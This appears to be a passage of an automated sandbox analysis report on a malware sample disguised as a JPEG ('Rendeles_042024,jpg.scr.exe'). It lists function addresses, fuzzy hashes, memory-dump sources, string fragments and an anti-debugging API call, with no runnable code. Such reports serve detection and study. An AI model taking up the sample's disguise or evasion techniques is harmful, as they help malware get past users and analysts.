Instruction Fuzzy Hash: 9CC15C74E152698FCB14CFA9C9809AEFBF2FF89300F28C5A9D854A7216D7309941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 031669BC Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1af89aa3a21769a711f6e9645d2b2972cd7bec00e5b3e7919f14df38f3db53dc
Instruction ID: f75a3c98e75a98d58fe0d8940b0cd2d32c5e14b926d39a214defbab072b72802
Opcode Fuzzy Hash: 1af89aa3a21769a711f6e9645d2b2972cd7bec00e5b3e7919f14df38f3db53dc
Instruction Fuzzy Hash: 50A16F36E007158FCF09DFB4C84449EB7B6FF89300B19856AE806BB265DB71D965CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0316FA40 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 004f74e8da68be077339b049055993c2ff285c72e0e2c03440b632997f1d4527
Instruction ID: 5166ed497db0dc8a14ad4cba1ea031fb2044a2956a02a5cfdd502880e15d1308
Opcode Fuzzy Hash: 004f74e8da68be077339b049055993c2ff285c72e0e2c03440b632997f1d4527
Instruction Fuzzy Hash: EED1C575C1075A8ACB11EF68D994ADDB771FF99300F10C7AAD1097B220EB706AC9CB91

Uniqueness

Uniqueness Score: -1.00%

Function 03020688 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50d3b0969e296bdc8ea03ba6aa858f480b973680fb021e9761377d2abc1a4236
Instruction ID: fbacf6a7fb61a1d6168b58075ed60e14c97a33ba291dd5dc8427e35156495b02
Opcode Fuzzy Hash: 50d3b0969e296bdc8ea03ba6aa858f480b973680fb021e9761377d2abc1a4236
Instruction Fuzzy Hash: 45B13974E112299BCB54CFA9C980AAEFBF2FB89300F24D569D819A7315D7309E41CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0316E5BB Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d55d88ed4d0e72fc193cdc0df999b99d5b2c04fb20ae48918869dcc63d3d8d6
Instruction ID: b0a5678d252547c5a2dbe22391f9e057d169aad7a09d514ecda4929b918e9c5f
Opcode Fuzzy Hash: 1d55d88ed4d0e72fc193cdc0df999b99d5b2c04fb20ae48918869dcc63d3d8d6
Instruction Fuzzy Hash: DB918639A043598FCB02DFF4CA609DDBFB5AF4A300F194296D045AF161DB309D55CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 031689C8 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef4daff9e97ec0f58c5a2d88706e1fb0ca3ecf21ccd7b2b591388b154aea823
Instruction ID: e470f7817c849406136c314bd4e0e1c671a4b654014ee3ee5b6c46c4daecee01
Opcode Fuzzy Hash: 3ef4daff9e97ec0f58c5a2d88706e1fb0ca3ecf21ccd7b2b591388b154aea823
Instruction Fuzzy Hash: F6C11AB04187468BD718EF65ED4C1897BB6FB8A32CF50420AD1616B2E9DBF414CACF64

Uniqueness

Uniqueness Score: -1.00%

Function 02FF4358 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6768689e7bc8001822b471fb49f4f132c5e67ff89bb3f0e6ff3e80e9bafc78b2
Instruction ID: e25285124c15046860fbda3754d6d3594651b31b140783353e557ab77d5ffb95
Opcode Fuzzy Hash: 6768689e7bc8001822b471fb49f4f132c5e67ff89bb3f0e6ff3e80e9bafc78b2
Instruction Fuzzy Hash: 9A81CF75E102198FCB44CFA9D58499EFBF2FF88350F14956AE619AB221D334AA42CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02FF4349 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 426ed0f0bcd9d1f3b744b3c5b69420cfcc3b208f6abdc3137d0e3efa923b8eb3
Instruction ID: 551264cf7f34e9c10246de476c0f70a0f57b6fbe5ba6112c3efad26b80c9dff4
Opcode Fuzzy Hash: 426ed0f0bcd9d1f3b744b3c5b69420cfcc3b208f6abdc3137d0e3efa923b8eb3
Instruction Fuzzy Hash: 8281F075A10209CFCB44CFA9C68499EFBF2FF88350F14956AE615AB221D334EA42CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02FF1FA9 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60e2d004f231df2a93cf2064cecacf11dbf398819179eedfd15990e8d38c2d5e
Instruction ID: ff89d65713825274be932e456fdf5d82d016b8b3df50b64deb0e5893976a3cb8
Opcode Fuzzy Hash: 60e2d004f231df2a93cf2064cecacf11dbf398819179eedfd15990e8d38c2d5e
Instruction Fuzzy Hash: AD713671E0520ADFDB44CF99D4819AEFBB2FF89350F10912ADA15A7728D334AA41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02FF5780 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f308149f191019501c88999e5a370995441474eb9b85eff7391a99f57b071cc0
Instruction ID: 93f367738dad45a3aaf37239e2e0cc3bc67423c0fd6c16c51032174061ede3f6
Opcode Fuzzy Hash: f308149f191019501c88999e5a370995441474eb9b85eff7391a99f57b071cc0
Instruction Fuzzy Hash: 0E712475E0521DCFCB58CFA9C5849DEFBF2EF89250F24942AD605BB264D3349A01CB64

Uniqueness

Uniqueness Score: -1.00%

Function 02FF4EE0 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fd39a54925080d7d3436bb425a16bf3317d04ab951ad330a16483229619cd0a
Instruction ID: 5ea812a0d784a2b8e6cc2f6909c3e0966a0595afa9ad7e244bce8aa2747114cd
Opcode Fuzzy Hash: 7fd39a54925080d7d3436bb425a16bf3317d04ab951ad330a16483229619cd0a
Instruction Fuzzy Hash: 497128B4E1420ACFCB44CF99D4809AEFBB1FF48350F559516D615AB354D330AA82CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02FF4ED0 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74622282e0e5cc2a6a56452d17261b75878b5c3548afc7ac0fd5469ddd1e6906
Instruction ID: f6a0574b0f72088cb4a076e004de47d484bce953c0acfb7ee1676500e106be81
Opcode Fuzzy Hash: 74622282e0e5cc2a6a56452d17261b75878b5c3548afc7ac0fd5469ddd1e6906
Instruction Fuzzy Hash: AD614874E0420ACFCB44CF99D4809AEFBB2FF88350F159516D615AB365D334AA82CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03024D68 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c34ee4149183e12ffe2efda1972cbb9762e8fe9c8987d22ff5c5441c386fb1de
Instruction ID: faca0c72c0e6d45ce4a64dc0958107676114beb1fbb060074f10160feba0f0dd
Opcode Fuzzy Hash: c34ee4149183e12ffe2efda1972cbb9762e8fe9c8987d22ff5c5441c386fb1de
Instruction Fuzzy Hash: 4F5162B5D016288FEB68CF2AD94479DFAF3AFC8200F14C1EAD44DA7264DB755A958F00

Uniqueness

Uniqueness Score: -1.00%

Function 02FF5A10 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd7db4ae9382b2293c0c40e4a90984eb7aa6ff6717f824ed5711749d437e55ca
Instruction ID: 893bb244f3219c7dbc7a7dc2aa5f182fc94e9625e69baa3ad0f48564d8c18bff
Opcode Fuzzy Hash: dd7db4ae9382b2293c0c40e4a90984eb7aa6ff6717f824ed5711749d437e55ca
Instruction Fuzzy Hash: 1D411C71E0120ADFCB44CFA9C5815AEFBF2BF88340F64D46AC615E7254D3309A51CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02FF5A20 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77289fa2fe3a31b17fb048586fc5ed0286fd4c668429d80cfc6cb5959311203b
Instruction ID: d0d05bd8f2fe83884d49bfbd4dfb81a3066e212355776bbcca8e29264fed482b
Opcode Fuzzy Hash: 77289fa2fe3a31b17fb048586fc5ed0286fd4c668429d80cfc6cb5959311203b
Instruction Fuzzy Hash: B3410CB1E0520ADFCB48CFA9C5815AEFBF2BF88340F64D469C615B7218E3349A51CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02FF5C08 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a1853778299cfcb4505ce1f064ac9838be03c7810b6f5c54e9888446b43e4d8
Instruction ID: b1f1f17317dbc790a577a696d90c4841e83458a0faa9271e80c1a3b70e17de02
Opcode Fuzzy Hash: 7a1853778299cfcb4505ce1f064ac9838be03c7810b6f5c54e9888446b43e4d8
Instruction Fuzzy Hash: 0C417D71E016188BDB68CF6B8D4579DFBF3AFC9301F14C1BA850DAA225EB341A458F15

Uniqueness

Uniqueness Score: -1.00%

Function 02FF55F8 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60952856c2d11628d29425aa3903aea6b3b9ba94242753003a9b03eab275368b
Instruction ID: 563910b72a07298c227733694df6c8063fb2e14187d370aa491c5bb4ea8ced28
Opcode Fuzzy Hash: 60952856c2d11628d29425aa3903aea6b3b9ba94242753003a9b03eab275368b
Instruction Fuzzy Hash: A241F8B1E0560A9FCB44CFAAC5805AEFBF2BF89300F54C06AD625A7254D7349A42CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02FF5608 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff30844402e5bc220952b3ef0704d84c226cc545d0b318ee4b6a73b985c08807
Instruction ID: 2b9658de92b192ca718471f1b0c244da6bea433c1ea04d73ef4707fd8b7151bf
Opcode Fuzzy Hash: ff30844402e5bc220952b3ef0704d84c226cc545d0b318ee4b6a73b985c08807
Instruction Fuzzy Hash: 4441F5B1E0060ADFCB44CFAAC5805AEFBF2AF88340F64C069D625B7254D7349A42CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0316B648 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14af75279448c060359e01b44649260bec4e1a27c8ce0c30b5a7c28d57ca5bf9
Instruction ID: 3436cf62ad3785980bd949fb12fd92800626491b03bc83f107508daea1512703
Opcode Fuzzy Hash: 14af75279448c060359e01b44649260bec4e1a27c8ce0c30b5a7c28d57ca5bf9
Instruction Fuzzy Hash: 2131BCB8D052089FCB14CFAAE584ADEFBF5BB49310F24902AE808B7310D335A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 03169B6C Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f41992979553b6351f6a5d9607bef2141301927c38a28c03d83923993713f4d4
Instruction ID: 3a94eca74d7c34b49ec7121fc636851a04d0ffe174bcfb2541fee42e2cbde89d
Opcode Fuzzy Hash: f41992979553b6351f6a5d9607bef2141301927c38a28c03d83923993713f4d4
Instruction Fuzzy Hash: 793199B8D052589FCB14CFAAE584ADEFBF5BB49310F24902AE808B7310D375A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 03024D59 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83e954eac1ed09e9812621df134ae2b18cc38b03488a60be2baf7ed725c27635
Instruction ID: db892ba55588f6fdc7958a6ae6c500e460094b6e45c3f7e606c9fda3bd952056
Opcode Fuzzy Hash: 83e954eac1ed09e9812621df134ae2b18cc38b03488a60be2baf7ed725c27635
Instruction Fuzzy Hash: 6A3189B1D016588BEB68CF6BD94478EFAF7AFC8304F14C1BAC40CAA254DB7509958F40

Uniqueness

Uniqueness Score: -1.00%

Function 0302F180 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5e067c6b19753dde1e3320162d8026fb5b2bf3040994de3d3c166a6a85bd5a1
Instruction ID: b5a36a455c60d509e9a4d3d71f06c317023ee4322486824cf86fcd7cd85bd376
Opcode Fuzzy Hash: e5e067c6b19753dde1e3320162d8026fb5b2bf3040994de3d3c166a6a85bd5a1
Instruction Fuzzy Hash: 46317DB8D05219EFCB14CFA9D884AAEBFF2BB49350F249129E814B7350D3349985CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0302F3D8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eb7edaa31dfbf35867dc96d8b8f8c426529f6e1b54484e160c576f9eb5ddf33
Instruction ID: 77c4f7170879d22b3dc40d329b09000825c5cde77b1bc784bd55fc834ff7ac38
Opcode Fuzzy Hash: 9eb7edaa31dfbf35867dc96d8b8f8c426529f6e1b54484e160c576f9eb5ddf33
Instruction Fuzzy Hash: 2DF042B5D0520D9F8F04DFA9D5418EEFBF2AB59310F10A16AE814B3314E73599518FA8

Uniqueness

Uniqueness Score: -1.00%

Function 03022150 Relevance: 6.5, Strings: 5, Instructions: 267COMMON

Download Yara Rule

Strings

LR]q, xrefs: 030223F9
$]q, xrefs: 0302225F
$]q, xrefs: 0302251D
$]q, xrefs: 0302254A
LR]q, xrefs: 030224DA

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q$$]q
API String ID: 0-527398971
Opcode ID: 1915268ce0452ae925787a6c92c808ab446b0d5a7c2008657a7e0c9dadd59c02
Instruction ID: 2869f7d256fdb32a1bd060bee4cf5b7f92086d63323f42107b69e86289efe8ee
Opcode Fuzzy Hash: 1915268ce0452ae925787a6c92c808ab446b0d5a7c2008657a7e0c9dadd59c02
Instruction Fuzzy Hash: 59B10970E01129DFCB94CFD8C580AADBBF6FF98300F158965E456AB654DB34E881CB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Rendeles_042024,jpg.scr.exePID: 2140, Parent PID: 2884COMMON

Execution Graph

Execution Coverage:	12.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	2

Executed Functions

Function 06EA60A8 Relevance: 8.4, Strings: 6, Instructions: 934COMMON

Download Yara Rule

Strings

$]q, xrefs: 06EA6D6C
$]q, xrefs: 06EA6D54
$]q, xrefs: 06EA6D48
$]q, xrefs: 06EA6D1F
$]q, xrefs: 06EA6D78
$]q, xrefs: 06EA6D2B

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: ae31d28cbea8f9d92eac392e4f964b1744c476137b776f36497b4d48c0e9c8d1
Instruction ID: 98a0c26dc1d9da7617bed0387a100703ff2cea14cf934390f6ce22bc53159237
Opcode Fuzzy Hash: ae31d28cbea8f9d92eac392e4f964b1744c476137b776f36497b4d48c0e9c8d1
Instruction Fuzzy Hash: C6827B30E107098FCB54DF64C994A9DB7B2FF85304F54DAA9D409AB265EB34ED85CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02E47EF8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 02E47F6F

Strings

=V#4, xrefs: 02E47F12

Memory Dump Source

Source File: 00000004.00000002.3248954917.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2e40000_Rendeles_042024,jpg.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID: =V#4
API String ID: 3662101638-3559468726
Opcode ID: 5efe8e49f8bc978e95151240d4040214cd0d586e075a963ca8f0688937bc0ac4
Instruction ID: 3fdfc83f83b4031c20cf05934b7e23780aa69d129c0521d5cabb007ed0db2124
Opcode Fuzzy Hash: 5efe8e49f8bc978e95151240d4040214cd0d586e075a963ca8f0688937bc0ac4
Instruction Fuzzy Hash: 092137B18012598FCB10CF9AD484BEEFBF4EF49310F14845AE459B3250D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06EAB320 Relevance: 3.0, Strings: 2, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06EAB8C7
$]q, xrefs: 06EAB8BB

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: f7a174a033750d4ce0999919dd67b7ebe336de0a5059ee3ec2faf0113884e144
Instruction ID: 0fbfedf1b6da5edc88b53f4141ea52125c9abd41e27fbd363287532be92079c3
Opcode Fuzzy Hash: f7a174a033750d4ce0999919dd67b7ebe336de0a5059ee3ec2faf0113884e144
Instruction Fuzzy Hash: B3026B30B1030A9FDB58DF68D590AAEB7A6FF84304F148529D409AF394DB35EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06EA0040 Relevance: 2.7, Instructions: 2722COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 565f7352d5cf8fe4dc773c3ac8c5ada9775938c2947c10610f673b184acbb9dd
Instruction ID: 6e1036151c4c742b4a0b29789bf8dbb6d0184a0bfcce7a214dec3219bcb0cdce
Opcode Fuzzy Hash: 565f7352d5cf8fe4dc773c3ac8c5ada9775938c2947c10610f673b184acbb9dd
Instruction Fuzzy Hash: 3B53E631C10B1A8ACB51EF68C8905A9F7B1FF99300F15D79AE4587B121FB70AAD5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06EA0021 Relevance: 2.3, Instructions: 2312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39f1519d6fbafc7f839fee43b2a5793630c47074159a11106032c32a7ccac576
Instruction ID: 096027caf8f88bb6b6bfcbdb5c3cd40beb6a8ed46f13aa6c63470a4d6c4d022c
Opcode Fuzzy Hash: 39f1519d6fbafc7f839fee43b2a5793630c47074159a11106032c32a7ccac576
Instruction Fuzzy Hash: 6443E531C10B1A8ACB51EF68C8945A9F7B1FF99300F15D79AE4587B121EB70AAD4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 06EAE7C8 Relevance: .6, Instructions: 569COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75c8b2ff99e1c1b83ec2217bf95464c381a83b2f7594882f78584ab9d59215e6
Instruction ID: e209f6b6f8247244b98efec666bbf7e3de52edf0d4f2d764464636324d2190ad
Opcode Fuzzy Hash: 75c8b2ff99e1c1b83ec2217bf95464c381a83b2f7594882f78584ab9d59215e6
Instruction Fuzzy Hash: DA226C30E003099FDBA4CB68D5947AEB7B6FB85314F249925E409EF391DA38EC81DB51

Uniqueness

Uniqueness Score: -1.00%

Function 06EAE260 Relevance: 10.4, Strings: 8, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06EAE3E0
$]q, xrefs: 06EAE42C
$]q, xrefs: 06EAE40F
$]q, xrefs: 06EAE38D
$]q, xrefs: 06EAE3D4
$]q, xrefs: 06EAE438
$]q, xrefs: 06EAE403
$]q, xrefs: 06EAE381

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 618efce13fba997aa54dc2bed21612a5a380e9ae7709cba73fde76504c85ddff
Instruction ID: 0437c8481d739392d1686754dea305a5e0d90d651bc7d43a9eab843ae67a27d1
Opcode Fuzzy Hash: 618efce13fba997aa54dc2bed21612a5a380e9ae7709cba73fde76504c85ddff
Instruction Fuzzy Hash: 80E15C30E1030A8FDB69DFA8D4906AEB7B6EF85304F109929D409AF355DB74EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06EAC6F0 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06EAC79B
$]q, xrefs: 06EAC7A7
$]q, xrefs: 06EAC76C
$]q, xrefs: 06EAC760

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: a5b0bb1aa105db136e0ed2be6a4dc5bba8150acbf99c230c6ba33c5ff7e0fced
Instruction ID: 01c4ae288bbacf2ed02cab304ea96545af445b9c0bc9edbf345d91683d4860c0
Opcode Fuzzy Hash: a5b0bb1aa105db136e0ed2be6a4dc5bba8150acbf99c230c6ba33c5ff7e0fced
Instruction Fuzzy Hash: 2B913E30B0030A9FDB94DF68D950BAEB3F6BF85704F208565D409EB354EB74AD468B92

Uniqueness

Uniqueness Score: -1.00%

Function 06EA7D20 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPbq, xrefs: 06EA7E71
\Obq, xrefs: 06EA7EFB
fbq, xrefs: 06EA7D4B

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: fbq$XPbq$\Obq
API String ID: 0-4057264190
Opcode ID: 57348dff4c66aadabedd8bc4fb2bb09008cf45c04e86bbb42fa0fb9707dca426
Instruction ID: 65dcc68a084ee3c7f3d95b70adf5fb706685353aa18ee1c2d6254cff29bf8843
Opcode Fuzzy Hash: 57348dff4c66aadabedd8bc4fb2bb09008cf45c04e86bbb42fa0fb9707dca426
Instruction Fuzzy Hash: B1614E74E003099FEF54DFA5C8547AEBAF6FF88700F208429E106AB395DB759C458B91

Uniqueness

Uniqueness Score: -1.00%

